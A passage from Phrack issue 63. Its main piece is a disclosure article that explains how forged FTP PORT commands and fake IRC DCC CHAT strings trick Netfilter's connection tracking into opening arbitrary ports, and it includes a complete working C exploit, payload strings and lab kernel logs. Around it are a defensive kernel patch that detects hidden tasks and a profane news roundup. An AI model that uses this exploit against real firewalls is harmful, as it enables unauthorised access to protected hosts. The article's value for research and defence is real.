module_exit(sht_exit) ;
MODULE_AUTHOR("ubra / PHI Group") ;
MODULE_DESCRIPTION("sht - search hidden tasks v1.0.0") ;
MODULE_LICENSE("GPL") ;
EXPORT_NO_SYMBOLS ;
<-->
<++> src/sh.patch
--- linux-2.4.30/kernel/sched_orig.c 2004-11-17 11:54:22.000000000 +0000
+++ linux-2.4.30/kernel/sched.c 2005-07-08 13:29:16.000000000 +0000
@@ -534,6 +534,25 @@
__schedule_tail(prev);
}
+asmlinkage void phi_sht_check_task(struct task_struct *prev, struct task_struct *next)
+{
+ struct task_struct *task_p = &init_task;
+ unsigned char on_ll = 0, on_ph = 0;
+
+ do {
+ if(task_p == prev) {
+ on_ll = 1;
+ break;
+ }
+ task_p = task_p->next_task ;
+ } while(task_p != &init_task);
+ if (find_task_by_pid(prev->pid) == prev)
+ on_ph = 1 ;
+ if (!on_ll || !on_ph || !prev->pid)
+ printk("[SHT] task pid %i <%s> task addr 0x%x ( next task pid %i <%s> next task addr 0x%x ) - TASK IS HIDDEN ( %s / %s / %s )\n", prev->pid, prev->comm, prev, next->pid, next->comm, next, on_ll ? "on linked list" : "NOT ON LINKED LIST", on_ph ? "on pidhash list" : "NOT ON PIDHASH LIST", prev->pid ? "pid is valid" : "PID IS INVALID");
+ return;
+}
+
/*
* 'schedule()' is the scheduler function. It's a very simple and nice
* scheduler: it's not perfect, but certainly works for most things.
@@ -634,6 +653,13 @@
task_set_cpu(next, this_cpu);
spin_unlock_irq(&runqueue_lock);
+ /*
+ * check task`s structures before we do any scheduling decision
+ * skip any kernel thread which might yeld false positives
+ */
+ if(prev->mm)
+ phi_sht_check_task(prev, next);
+
if (unlikely(prev == next)) {
/* We won't go through the normal tail, so do this by hand */
prev->policy &= ~SCHED_YIELD;
<-->
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x13 of 0x14
|=------=[ Breaking through a Firewall using a forged FTP command ]=-----=|
|=-----------------------------------------------------------------------=|
|=-------------=[ Soungjoo Han <kotkrye@hanmail.net> ]=------------------=|
Table of Contents
1 - Introduction
2 - FTP, IRC and the stateful inspection of Netfilter
3 - Attack Scenario I
3.1 - First Trick
3.2 - First Trick Details
4 - Attack Scenario II - Non-standard command line
4.1 - Second Trick Details
5 - Attack Scenario III - 'echo' feature of FTP reply
5.1 - Passive FTP: background information
5.2 - Third Trick Details
6 - APPENDIX I. A demonstration tool of the second trick
7 - APPENDIX II. A demonstration example of the second attack trick.
--[ 1 - Introduction
FTP is a protocol that uses two connections. One of them is called a
control connection and the other, a data connection. FTP commands and
replies are exchanged across the control connection that lasts during an
FTP session. On the other hand, a file(or a list of files) is sent across
the data connection, which is newly established each time a file is
transferred.
Most firewalls do not usually allow any connections except FTP control
connections to an FTP server port(TCP port 21 by default) for network
security. However, as long as a file is transferred, they accept the data
connection temporarily. To do this, a firewall tracks the control
connection state and detects the command related to file transfer. This is
called stateful inspection.
I've created three attack tricks that make a firewall allow an illegal
connection by deceiving its connection tracking using a forged FTP command.
I actually tested them in Netfilter/IPTables, which is a firewall
installed by default in the Linux kernel 2.4 and 2.6. I confirmed the first
trick worked in the Linux kernel 2.4.18 and the second one(a variant of the
first one) worked well in the Linux 2.4.28(a recent version of the Linux
kernel).
This vulnerability was already reported to the Netfilter project team
and they fixed it in the Linux kernel 2.6.11.
--[ 2 - FTP, IRC and the stateful inspection of Netfilter
First, let's examine FTP, IRC(You will later know why IRC is mentioned)
and the stateful inspection of Netfilter. If you are a master of them, you
can skip this chapter.
As stated before, FTP uses a control connection in order to exchange
the commands and replies(, which are represented in ASCII) and, on the
contrary, uses a data connection for file transfer.
For instance, when you command "ls" or "get <a file name>" at FTP
prompt, the FTP server(in active mode) actively initiates a data connection
to a TCP port number(called a data port) on the FTP client, your host. The
client, in advance, sends the data port number using a PORT command, one of
FTP commands.
The format of a PORT command is as follows.
PORT<space>h1,h2,h3,h4,p1,p2<CRLF>
Here the character string "h1,h2,h3,h4" means the dotted-decimal IP
"h1.h2.h3.h4" which belongs to the client. And the string "p1,p2" indicates
a data port number(= p1 * 256 + p2). Each field of the address and port
number is in decimal number. A data port is dynamically assigned by a
client. In addition, the commands and replies end with <CRLF> character
sequence.
Netfilter tracks an FTP control connection and gets the TCP sequence
number and the data length of a packet containing an FTP command line
(which ends with <LF>). And then it computes the sequence number of the
next command packet based on the information. When a packet with the
sequence number is arrived, Netfilter analyzes whether the data of the
packet contains an FTP command. If the head of the data is the same as
"PORT" and the data ends with <CRLF>, then Netfilter considers it as a
valid PORT command (the actual codes are a bit more complicated) and
extracts an IP address and a port number from it. Afterwards, Netfilter
"expects" the server to actively initiate a data connection to the
specified port number on the client. When the data connection request is
actually arrived, it accepts the connection only while it is established.
In the case of an incomplete command which is called a "partial" command,
it is dropped for an accurate tracking.
IRC (Internet Relay Chat) is an Internet chatting protocol. An IRC
client can use a direct connection in order to speak with another client.
When a client logs on the server, he/she connects to an IRC server
(TCP port 6667 by default). On the other hand, when the client wants to
communicate with another, he/she establishes a direct connection to the
peer. To do this, the client sends a message called a DCC CHAT command in
advance. The command is analogous to an FTP PORT command. And Netfilter
tracks IRC connections as well. It expects and accepts a direct chatting
connection.
--[ 3 - Attack Scenario I
----[ 3.1 - First Trick
I have created a way to connect illegally to any TCP port on an FTP
server that Netfilter protects by deceiving the connection-tracking module
in the Linux kernel 2.4.18.
In most cases, IPTables administrators make stateful packet filtering
rule(s) in order to accept some Internet services such as IRC direct
chatting and FTP file transfer. To do this, the administrators usually
insert the following rule into the IPTables rule list.
iptables -A FORWARD -m state --state ESTABLISHED, RELATED -j ACCEPT
Suppose that a malicious user who logged on the FTP server transmits a
PORT command with TCP port number 6667(this is a default IRC server port
number) on the external network and then attempts to download a file from
the server.
The FTP server actively initiates a data connection to the data port
6667 on the attacker's host. The firewall accepts this connection under the
stateful packet filtering rule stated before. Once the connection is
established, the connection-tracking module of the firewall(in the Linux
kernel 2.4.18) has the security flaw to mistake this for an IRC connection.
Thus the attacker's host can pretend to be an IRC server.
If the attacker downloads a file comprised of a string that has the
same pattern as DCC CHAT command, the connection-tracking module will
misunderstand the contents of a packet for the file transfer as a DCC CHAT
command.
As a result, the firewall allows any host to connect to the TCP port
number, which is specified in the fake DCC CHAT command, on the fake IRC
client (i.e., the FTP server) according to the rule to accept the "related"
connection for IRC. For this, the attacker has to upload the file before
the intrusion.
In conclusion, the attacker is able to illegally connect to any TCP
port on the FTP server.
----[ 3.2 - First Trick Details
To describe this in detail, let's assume a network configuration is as
follows.
(a) A Netfilter/IPtables box protects an FTP server in a network. So users
in the external network can connect only to FTP server port on the FTP
server. Permitted users can log on the server and download/upload
files.
(b) Users in the protected network, including FTP server host, can connect
only to IRC servers in the external network.
(c) While one of the internet services stated in (a) and (b) is
established, the secondary connections(e.g., FTP data connection)
related to the service can be accepted temporarily.
(d) Any other connections are blocked.
To implement stateful inspection for IRC and FTP, the administrator
loads the IP connection tracking modules called ip_conntrack into the
firewall including ip_conntrack_ftp and ip_conntrack_irc that track FTP and
IRC, respectively. Ipt_state must be also loaded.
Under the circumstances, an attacker can easily create a program that
logs on the FTP server and then makes the server actively initiate an FTP
data connection to an arbitrary TCP port on his/her host.
Suppose that he/she transmits a PORT command with data port 6667 (i.e.,
default IRC server port).
An example is "PORT 192,168,100,100,26,11\r\n".
The module ip_conntrack_ftp tracking this connection analyzes the PORT
command and "expects" the FTP server to issue an active open to the
specified port on the attacker's host.
Afterwards, the attacker sends an FTP command to download a file,
"RETR <a file name>". The server tries to connect to port 6667 on the
attacker's host. Netfilter accepts the FTP data connection under the
stateful packet filtering rule.
Once the connection is established, the module ip_conntrack mistakes
this for IRC connection. Ip_conntrack regards the FTP server as an IRC
client and the attacker's host as an IRC server. If the fake IRC client
(i.e., the FTP server) transmits packets for the FTP data connection, the
module ip_conntrack_irc will try to find a DCC protocol message from the
packets.
The attacker can make the FTP server send the fake DCC CHAT command
using the following trick. Before this intrusion, the attacker uploads a
file comprised of a string that has the same pattern as a DCC CHAT command
in advance.
To my knowledge, the form of a DCC CHAT command is as follows.
"\1DCC<a blank>CHAT<a blank>t<a blank><The decimal IP address of the IRC
client><blanks><The TCP port number of the IRC client>\1\n"
An example is "\1DCC CHAT t 3232236548 8000\1\n"
In this case, Netfilter allows any host to do an active open to the TCP
port number on the IRC client specified in the line. The attacker can, of
course, arbitrarily specify the TCP port number in the fake DCC CHAT
command message.
If a packet of this type is passed through the firewall, the module
ip_conntrack_irc mistakes this message for a DCC CHAT command and "expects"
any host to issue an active open to the specified TCP port number on the
FTP server for a direct chatting.
As a result, Netfilter allows the attacker to connect to the port
number on the FTP server according to the stateful inspection rule.
After all, the attacker can illegally connect to any TCP port on the
FTP server using this trick.
--[ 4 - Attack Scenario II - Non-standard command line
----[ 4.1. Second Trick Details
Netfilter in the Linux kernel 2.4.20(and the later versions) is so
fixed that a secondary connection(e.g., an FTP data connection) accepted by
a primary connection is not mistaken for that of any other protocol. Thus
the packet contents of an FTP data connection are not parsed any more by
the IRC connection-tracking module.
However, I've created a way to connect illegally to any TCP port on an
FTP server that Netfilter protects by dodging connection tracking using a
nonstandard FTP command. As stated before, I confirmed that it worked in
the Linux kernel 2.4.28.
Under the circumstances stated in the previous chapter, a malicious
user in the external network can easily create a program that logs on the
FTP server and transmits a nonstandard FTP command line.
For instance, an attacker can transmit a PORT command without the
character <CR> in the end of the line. The command line has only <LF> in
the end.
An example is "PORT 192,168,100,100,26,11\n".
On the contrary, a standard FTP command has <CRLF> sequence to denote
the end of a line.
If the module ip_conntrack_ftp receives a nonstandard PORT command of
this type, it first detects a command and finds the character <CR> for the
parsing. Because it cannot be found, ip_conntrack_ftp regards this as a
"partial" command and drops the packet.
Just before this action, ip_conntrack_ftp anticipated the sequence
number of a packet that contains the next FTP command line and updated the
associated information. This number is calculated based on the TCP sequence
number and the data length of the "partial" PORT command packet.
However, a TCP client, afterwards, usually retransmits the identical
PORT command packet since the corresponding reply is not arrived at the
client. In this case, ip_conntrack_ftp does NOT consider this retransmitted
packet as an FTP command because its sequence number is different from that
of the next FTP command anticipated. From the point of view of
ip_conntrack_ftp, the packet has a "wrong" sequence number position.
The module ip_conntrack_ftp just accepts the packet without analyzing
this command. The FTP server can eventually receive the retransmitted
packet from the attacker.
Although ip_conntrack_ftp regards this "partial" command as INVALID,
some FTP servers such as wu-FTP and IIS FTP conversely consider this PORT
command without <CR> as VALID. In conclusion, the firewall, in this case,
fails to "expect" the FTP data connection.
And when the attacker sends a RETR command to download a file from the
server, the server initiates to connect to the TCP port number, specified
in the partial PORT command, on the attacker's host.
Suppose that the TCP port number is 6667(IRC server port), the firewall
accepts this connection under the stateless packet filtering rule that
allows IRC connections instead of the stateful filtering rule. So the IP
connection-tracking module mistakes the connection for IRC.
The next steps of the attack are the same as those of the trick stated
in the previous chapter.
In conclusion, the attacker is able to illegally connect to any TCP
port on the FTP server that the Netfilter firewall box protects.
*[supplement] There is a more refined method to dodge the
connection-tracking of Netfilter. It uses default data port. On condition
that data port is not specified by a PORT command and a data connection is
required to be established, an FTP server does an active open from port 20
on the server to the same (a client's) port number that is being used for
the control connection.
To do this, the client has to listen on the local port in advance. In
addition, he/she must bind the local port to 6667(IRCD) and set the socket
option "SO_REUSEADDR" in order to reuse this port.
Because a PORT command never passes through a Netfilter box, the
firewall can't anticipate the data connection. I confirmed that it worked
in the Linux kernel 2.4.20.
** A demonstration tool and an example of this attack are described in
APPENDIX I and APPENDIX II, respectively.
--[ 5 - Attack Scenario III - 'echo' feature of FTP reply
----[ 5.1 - Passive FTP: background information
An FTP server is able to do a passive open for a data connection as
well. This is called passive FTP. On the contrary, FTP that does an active
open is called active FTP.
Just before file transfer in the passive mode, the client sends a PASV
command and the server replies the corresponding message with a data port
number to the client. An example is as follows.
-> PASV\r\n
<- 227 Entering Passive Mode (192,168,20,20,42,125)\r\n
Like a PORT command, the IP address and port number are separated by
commas. Meanwhile, when you enter a user name, the following command and
reply are exchanged.
-> USER <a user name>\r\n
<- 331 Password required for <the user name>.\r\n
----[ 5.2 - Third Trick Details
Right after a user creates a connection to an FTP server, the server
usually requires a user name. When the client enters a login name at FTP
prompt, a USER command is sent and then the same character sequence as the
user name, which is a part of the corresponding reply, is returned like
echo. For example, a user enters the sting "Alice Lee" as a login name at
FTP prompt, the following command line is sent across the control
connection.
-> USER Alice Lee\r\n
The FTP server usually replies to it as follows.
<- 331 Password required for Alice Lee.\r\n
("Alice Lee" is echoed.)
Blanks are able to be included in a user name.
A malicious user can insert a arbitrary pattern in the name. For
instance, when the same pattern as the reply for passive FTP is inserted in
it, a part of the reply is arrived like a reply related to passive FTP.
-> USER 227 Entering Passive Mode (192,168,20,29,42,125)\r\n
<- 331 Password required for 227 Entering Passive Mode
(192,168,20,29,42,125).\r\n
Does a firewall confuse it with a `real' passive FTP reply? Maybe most
firewalls are not deceived by the trick because the pattern is in the
middle of the reply line.
However, suppose that the TCP window size field of the connection is
properly adjusted by the attacker when the connection is established, then
the contents can be divided into two like two separate replies.
(A) ----->USER xxxxxxxxx227 Entering Passive Mode
(192,168,20,29,42,125)\r\n
(B) <-----331 Password required for xxxxxxxxx
(C) ----->ACK(with no data)
(D) <-----227 Entering Passive Mode (192,168,20,20,42,125).\r\n
(where the characters "xxxxx..." are inserted garbage used to adjust the
data length.)
I actually tested it for Netfilter/IPTables. I confirmed that Netfilter
does not mistake the line (D) for a passive FTP reply at all.
The reason is as follows.
(B) is not a complete command line that ends with <LF>. Netfilter,
thus, never considers (D), the next packet data of (B) as the next reply.
As a result, the firewall doesn't try to parse (D).
But, if there were a careless connection-tracking firewall, the attack
would work.
In the case, the careless firewall would expect the client to do an
active open to the TCP port number, which is specified in the fake reply,
on the FTP server. When the attacker initiates a connection to the target
port on the server, the firewall eventually accepts the illegal connection.
--[ 6 - APPENDIX I. A demonstration tool of the second trick
I wrote an exploiting program using C language. I used the following
compilation command.
/>gcc -Wall -o fake_irc fake_irc.c
The source code is as follows.
/*
USAGE : ./fake_irc <an FTP server IP> <a target port>
<a user name> <a password> <a file name to be downloaded>
- <an FTP server IP> : An FTP server IP that is a victim
- <a target port> : the target TCP port on the FTP server to which an
attacker wants to connect
- <a user name> : a user name used to log on the FTP server
- <a password> : a password used to log on the FTP server
- <a file name to be downloaded> : a file name to be downloaded from the
FTP server
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define BUF_SIZE 2048
#define DATA_BUF_SZ 65536
#define IRC_SERVER_PORT 6667
#define FTP_SERVER_PORT 21
static void usage(void)
{
printf("USAGE : ./fake_irc "
"<an FTP server IP> <a target port> <a user name> "
"<a password> <a file name to be downloaded>\n");
return;
}
void send_cmd(int fd, char *msg)
{
if(send(fd, msg, strlen(msg), 0) < 0) {
perror("send");
exit(0);
}
printf("--->%s\n", msg);
}
void get_reply(int fd)
{
char read_buffer[BUF_SIZE];
int size;
//get the FTP server message
if( (size = recv(fd, read_buffer, BUF_SIZE, 0)) < 0) {
perror("recv");
exit(0);
}
read_buffer[size] = '\0';
printf("<---%s\n", read_buffer);
}
void cmd_reply_xchg(int fd, char *msg)
{
send_cmd(fd, msg);
get_reply(fd);
}
/*
argv[0] : a program name
argv[1] : an FTP server IP
argv[2] : a target port on the FTP server host
argv[3] : a user name
argv[4] : a password
argv[5] : a file name to be downloaded
*/
int main(int argc, char **argv)
{
int fd, fd2, fd3, fd4;
struct sockaddr_in serv_addr, serv_addr2;
char send_buffer[BUF_SIZE];
char *ftp_server_ip, *user_id, *pwd, *down_file;
unsigned short target_port;
char data_buf[DATA_BUF_SZ];
struct sockaddr_in sa_cli;
socklen_t client_len;
unsigned int on = 1;
unsigned char addr8[4];
int datasize;
if(argc != 6) {
usage();
return -1;
}
ftp_server_ip = argv[1];
target_port = atoi(argv[2]);
user_id = argv[3];
pwd = argv[4];
down_file = argv[5];
if((fd = socket(AF_INET, SOCK_STREAM, 0)) <0) {
perror("socket");
return -1;
}
bzero(&serv_addr, sizeof(struct sockaddr_in));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(FTP_SERVER_PORT);
serv_addr.sin_addr.s_addr = inet_addr(ftp_server_ip);
//connect to the FTP server
if(connect(fd, (struct sockaddr *) &serv_addr, sizeof(struct sockaddr))) {
perror("connect");
return -1;
}
//get the FTP server message
get_reply(fd);
//exchange a USER command and the reply
sprintf(send_buffer, "USER %s\r\n", user_id);
cmd_reply_xchg(fd, send_buffer);
//exchange a PASS command and the reply
sprintf(send_buffer, "PASS %s\r\n", pwd);
cmd_reply_xchg(fd, send_buffer);
//exchange a SYST command and the reply
sprintf(send_buffer, "SYST\r\n");
cmd_reply_xchg(fd, send_buffer);
sleep(1);
//write a PORT command
datasize = sizeof(serv_addr);
if(getsockname(fd, (struct sockaddr *)&serv_addr, &datasize) < 0 ) {
perror("getsockname");
return -1;
}
memcpy(addr8, &serv_addr.sin_addr.s_addr, sizeof(addr8));
sprintf(send_buffer, "PORT %hhu,%hhu,%hhu,%hhu,%hhu,%hhu\n",
addr8[0], addr8[1], addr8[2], addr8[3],
IRC_SERVER_PORT/256, IRC_SERVER_PORT % 256);
cmd_reply_xchg(fd, send_buffer);
//Be a server for an active FTP data connection
if((fd2 = socket(AF_INET, SOCK_STREAM, 0)) <0) {
perror("socket");
return -1;
}
if(setsockopt(fd2, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0) {
perror("setsockopt");
return -1;
}
bzero(&serv_addr, sizeof(struct sockaddr_in));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(IRC_SERVER_PORT);
serv_addr.sin_addr.s_addr = INADDR_ANY;
if( bind(fd2, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0 ) {
perror("bind");
return -1;
}
if( listen(fd2, SOMAXCONN) < 0 ) {
perror("listen");
return -1;
}
//send a RETR command after calling listen()
sprintf(send_buffer, "RETR %s\r\n", down_file);
cmd_reply_xchg(fd, send_buffer);
//accept the active FTP data connection request
client_len = sizeof(sa_cli);
bzero(&sa_cli, client_len);
fd3 = accept (fd2, (struct sockaddr*) &sa_cli, &client_len);
if( fd3 < 0 ) {
perror("accept");
return -1;
}
//get the fake DCC command
bzero(data_buf, DATA_BUF_SZ);
if( recv(fd3, data_buf, DATA_BUF_SZ, 0) < 0) {
perror("recv");
return -1;
}
puts(data_buf);
///Start of the attack
if((fd4= socket(AF_INET, SOCK_STREAM, 0)) <0) {
perror("socket");
return -1;
}
bzero(&serv_addr2, sizeof(struct sockaddr_in));
serv_addr2.sin_family = AF_INET;
serv_addr2.sin_port = htons(target_port );
serv_addr2.sin_addr.s_addr = inet_addr(ftp_server_ip);
if(connect(fd4, (struct sockaddr *)&serv_addr2, sizeof(struct sockaddr)))
{
perror("connect");
return -1;
}else
printf("\nConnected to the target port!!\n");
//Here, communicate with the target port
sleep(3);
close(fd4);//close the attack connection
/////////////The end of the attack.
close(fd3);//close the FTP data connection
//get the reply of FTP data transfer completion
get_reply(fd);
sleep(1);
close(fd);//close the FTP control connection
close(fd2);
return 0;
}/*The end*/
--------------------------------------------
--[ 7 - APPENDIX II. A demonstration example of the second attack trick
The followings are the circumstances in which I tested it actually.
The below symbol "[]" stands for a computer box.
[An attacker's host]-----[A firewall]-----[An FTP server]
(The network interfaces, eth1 and eth2 of the firewall are directly linked
to the attacker's host and server, respectively.)
As shown in the above figure, packets being transmitted between the FTP
client(i.e., the attacker) and the FTP server pass through the linux box
with IPTables in the Linux kernel 2.4.28.
The IP addresses assigned in each box are as follows.
(a) The attacker's host : 192.168.3.3
(b) eth1 port in the Linux box : 192.168.3.1
(c) The FTP server : 192.168.4.4
(d) eth2 port in the Linux box : 192.168.4.1
A TCP server is listening on the FTP server's host address and port
8000. The server on port 8000 is protected by IPTables. The attacker tried
to connect illegally to port 8000 on the FTP server in this demonstration.
The associated records during this attack are written in the following
order.
(1) The system configurations in the firewall, including the ruleset of
IPTables
(2) Tcpdump outputs on eth1 port of the firewall
(3) Tcpdump outputs on eth2 port of the firewall
(4) The file /proc/net/ip_conntrack data with the change of times. It shows
the information on connections being tracked.
(5) DEBUGP(), printk messages for debug in the source
files(ip_conntrack_core.c, ip_conntrack_ftp.c and ip_conntrack_irc.c).
For the detailed messages, I activated the macro function DEBUGP() in
the files.
Since some characters of the messages are Korean, they have been
deleted. I am sorry for this.
=====================================================================
(1) The system configurations in the firewall
[root@hans root]# uname -a
Linux hans 2.4.28 #2 2004. 12. 25. () 16:02:51 KST i686 unknown
[root@hans root]# lsmod
Module Size Used by Not tainted
ip_conntrack_irc 5216 0 (unused)
ip_conntrack_ftp 6304 0 (unused)
ipt_state 1056 1 (autoclean)
ip_conntrack 40312 2 (autoclean) [ip_conntrack_irc
ip_conntrack_ftp
ipt_state]
iptable_filter 2432 1 (autoclean)
ip_tables 16992 2 [ipt_state iptable_filter]
ext3 64032 3 (autoclean)
jbd 44800 3 (autoclean) [ext3]
usbcore 48576 0 (unused)
[root@hans root]# iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain FORWARD (policy DROP)
target prot opt source destination
ACCEPT tcp -- 192.168.3.3 192.168.4.4 tcp dpt:ftp
ACCEPT tcp -- anywhere anywhere tcp dpt:auth
ACCEPT tcp -- 192.168.4.4 192.168.3.3 tcp dpt:ircd
ACCEPT all -- anywhere anywhere state
RELATED,ESTABL
ISHED
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
[root@hans root]# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use
Iface
192.168.4.0 0.0.0.0 255.255.255.0 U 0 0 0
eth2
192.168.3.0 0.0.0.0 255.255.255.0 U 0 0 0
eth1
192.168.150.0 0.0.0.0 255.255.255.0 U 0 0 0
eth0
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo
=====================================================================
(2) Tcpdump outputs on eth1 port of the firewall
You can see that the "partial" PORT commands were transmitted and an
illegal connection to port 8000 was established.
tcpdump -nn -i eth1 -s 0 -X
[ phrack staff: Output removed. Do it on your own. ]
=====================================================================
(3) Tcpdump outputs on eth2 port of the firewall
Only one PORT command w/o <CR> is shown on eth2 port since the first one
was dropped.
tcpdump -nn -i eth2 -s 0 -X
[ phrack staff: Output removed. Get skilled. Do it yourself! ]
=====================================================================
(4) The file /proc/net/ip_conntrack data with change of times.
The file /proc/net/ip_conntrack shows the information on connections being
tracked. To that end, I executed the following shell command.
/>watch -n 1 "data >> /tmp/ipconn.txt;cat /proc/net/ip_conntrack >>
/tmp/ipconn.txt"
Note : Connections that are not associated with this test are seen from
time to time. I am sorry for this.
[ phrack staff: Output removed. Use the force luke! ]
=====================================================================
(5) dmesg outputs
->The following paragraph in the message shows that the first PORT command
w/o <CR> was regarded as "partial" and thus dropped.
Dec 31 15:03:40 hans kernel: find_pattern `PORT': dlen = 23
Dec 31 15:03:40 hans kernel: Pattern matches!
Dec 31 15:03:40 hans kernel: Skipped up to ` '!
Dec 31 15:03:40 hans kernel: Char 17 (got 5 nums) `10' unexpected
Dec 31 15:03:40 hans kernel: conntrack_ftp: partial PORT 1273167371+23
->The following paragraph shows that the second invalid PORT command w/o
<CR> was accepted because it was regarded as a packet that had a wrong
sequence position.(i.e., the packet was not regarded as an FTP command)
Dec 31 15:03:40 hans kernel: ip_conntrack_in: normal packet for d7369080
Dec 31 15:03:40 hans kernel: conntrack_ftp: datalen 23
Dec 31 15:03:40 hans kernel: conntrack_ftp: datalen 23 ends in \n
Dec 31 15:03:40 hans kernel: ip_conntrack_ftp_help: wrong seq pos
(1273167394)
->The following shows that the connection-tracking module mistook the FTP
data connection for IRC.
Dec 31 15:03:40 hans kernel: ip_conntrack_in: new packet for d73691c0
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:entered
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:Conntrackinfo = 2
Dec 31 15:03:40 hans kernel: Confirming conntrack d73691c0
->The following shows that ip_conntrack_irc mistook the packet contents of
the FTP data connection for a DCC CHAT command and "expected" the fake
chatting connection.
Dec 31 15:03:40 hans kernel: ip_conntrack_in: normal packet for d73691c0
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:entered
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:DCC found in master
192.168.4.4:20 192.168.3.3:6667...
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:DCC CHAT detected
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:DCC bound ip/port:
192.168.4.4:8000
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:tcph->seq = 3731565152
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:wrote info
seq=1613392874 (ofs=33), len=21
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:expect_related
0.0.0.0:0-192.168.4.4:8000
Dec 31 15:03:40 hans kernel: ip_conntrack_expect_related d73691c0
Dec 31 15:03:40 hans kernel: tuple: tuple d6c61d94: 6 0.0.0.0:0 ->
192.168.4.4:8000
Dec 31 15:03:40 hans kernel: mask: tuple d6c61da4: 65535 0.0.0.0:0 ->
255.255.255.255:65535
Dec 31 15:03:40 hans kernel: new expectation d7cf82e0 of conntrack d73691c0
->The following shows that ip_conntrack, after all, accepted the illegal
connection to port 8000 under the stateful inspection rule.
Dec 31 15:03:40 hans kernel: conntrack: expectation arrives ct=d7369260
exp=d7cf82e0
Dec 31 15:03:41 hans kernel: ip_conntrack_in: related packet for d7369260
Dec 31 15:03:41 hans kernel: Confirming conntrack d7369260
Dec 31 15:03:41 hans kernel: ip_conntrack_in: normal packet for d7369260
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x14 of 0x14
|=-----------------------------------------------------------------------=|
|=--------------------=[ W O R L D N E W S ]=--------------------------=|
|=-----------------------------------------------------------------------=|
*** NSA & PHRACK ***
.. And in a positive way. See:
http://www.nsa.gov/snac/
Which has a section specifically for routers:
http://www.nsa.gov/snac/downloads_cisco.cfm?MenuID=scg10.3.1
And on page 80 Phrack is at the top of the list of references.
**** QUICK NEWS **** QUICK NEWS **** QUICK NEW ***** QUICK NEWS ****
**** QUICK NEWS **** QUICK NEWS **** QUICK NEW ***** QUICK NEWS ****
**** QUICK NEWS **** QUICK NEWS **** QUICK NEW ***** QUICK NEWS ****
And once gain ... two big companies, Cisco and ISS, try to scare free
researchers to not talk about the problems in their software.
Michael Lynn has shown great courage and made use of his natural-born
rights: to talk.
Quote from his homepage:
'People who know me will tell you I have a long history of
not being afraid of people I should.'
Kudos to Lynn from the Staff @ Phrack.
From Michael Lynn's homepage:
A dangerous culture regarding hardware based network devices as impervious
to remote compromise has been allowed to exist. Mike has taken on enormous
personal risk to do the right thing for the security research community by
coming forward with his research and bringing this problem into focus.
Cisco has consistently been on the forefront of this dangerous culture. They
exercise a strategy of walling off updates and information only to those
with support contracts. In many areas of critical infrastructure, engineers
are often limited in their ability to utilize the latest security updates
due to their IOS feature train. For years, attempting to adopt SSH as the
primary method of administration for Cisco hardware has provided a perfect
example of Cisco's broken security culture. Their handling of this situation
is putting icing on the cake. We must encourage change in Cisco's security
culture.
ISS's actions to date have shown an effect of this broken security culture.
ISS's handling of this critical security threat and the researcher that
found it have been less then desirable. We are confident our free-market
business and media environment will result in both ISS and Cisco learning
lessons from this event.
http://www.nicklevay.net/
http://blogs.pcworld.com/staffblog/
http://blogs.washingtonpost.com/securityfix/2005/07/update_to_cisco.html
---
Welcome to Austin/Texas International Airport. Please check out our
new camera system. We can spy on our employees, our citizans and
even on our president. Try it out now:
http://lobbycamera4.abia.org
---
Microsofts goes l33t: The 31337 dictionary
http://www.microsoft.com/athome/security/children/kidtalk.mspx
---
This is a big fuckup of what happens if you dont watch out:
1) An attack happens
2) Politicans scare the shit out of the people and tell them it will
happen again!
3) People accept to give up their rights, their freedom and their brain.
4) People get fucked by what the policticans told them would help
against terror.
Ladies and Gentlemen, the TSA-FUCKUP:
http://www.komotv.com/stories/37150.htm
I love this quote: And I said what about my constitutional rights? And
they said 'not at this point ... you don't have any'."
---
DVD copy software illegal in the netherlands.
http://www.theregister.co.uk/2005/07/25/dvd_copy/
http://www.theregister.co.uk/2005/07/25/uk_war_driver_fined/
Wait a moment? The software? I would even protest if it would
be the act of copying. But the software? What fuckup is this?
1) I buy a DVD
2) I buy software to copy DVD
3) I make a copy of my OWN DVD for MY OWN purpose
4) I make a copy of my OWN DVD for my FRIEND
5) I make a copy of my friends DVD for MY FRIEND
6) I make a copy of my friends DVD for ME
7) I make MANY copies of my friends DVD for OTHERS
So where does warez trading start? Netherlands, that was a bad move. The
people of the Netherlands are not stupid. They will never allow you to
forbid them to make a copy of their own DVDs. And for sure you will never
ever be able to forbid them to develop and research software to copy
DVDs or any other software.
Other countries would have sponsored smart guys who can write such software.
The people of the Netherlands will fight for their rights. Free speech & free
research will win in the end.
---
|=-------=---------------------------------------------------------------=|
|=[ Social Penetration Testing ]=----------------------------------------=|
|=-------=---------------------------------------------------------------=|
By Pascal Cretain (Pascal_Cretain@mail.com)
I' say with certainty that the MD5 checksum of each and every one of the
last, say 200 days has not been tampered with and is the same in all cases.
It's yet another dull day in the office and I'm bored out of my f***ing skull.
This new client not only wants an 'external blind pen test' they also want
'comprehensive static code analysis'. Why they are paying money to 'secure'
this monstrosity is beyond me. It doesn't even have an authentication
section. Bollocks.
A DNS zone transfer request greets me cheerfully with all their internal
network structure...not that I will need that since they have only asked
for webserver testing but it's good to know anyway. I launch that damn
nessus scan for the millionth time and I senselessly wait for the attack
